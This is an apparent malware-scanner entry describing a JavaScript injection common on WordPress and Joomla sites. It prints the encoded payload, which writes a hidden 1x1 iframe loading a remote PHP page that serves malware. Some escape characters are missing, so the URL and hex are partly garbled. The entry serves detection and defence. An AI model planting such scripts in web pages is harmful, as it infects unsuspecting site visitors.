Malware Entries

Description:This encoded javascript loads this iframe: http://www.eidolona x69.com/wp-content/themx6 5s/nightvision/coo.php where malware is sent to the end user. Affecting: Any web site (common on WordPress and Joomla). Malware dump: document.write(unescape(‘x3Cx69x66x72x61x6Dx65x20x73x74x79x6Cx65x3Dx27x76x69x73x69x62x69x6Cx69x74x79x3Ax68x69x64x64x65x6Ex27x20x77x69x64x74x68x3Dx27x31x27x20x68x65x69x67x68x74x3Dx27x31x27x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx27x6Ex6Fx27x20x73x72x63x3Dx27x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex65x69x64x6Fx6Cx6Fx6Ex61x69x2Ex63x6Fx6Dx2Fx77x70x2Dx63x6Fx6Ex74x65x6Ex74x2Fx74x68x65x6Dx65x73x2Fx6Ex69x67x68x74x76x69x73x69x6Fx6Ex2Fx63x6Fx6Fx2Ex70x68x70x27x3Ex3Cx2Fx69x66x72x61x6Dx65x3Ex20′));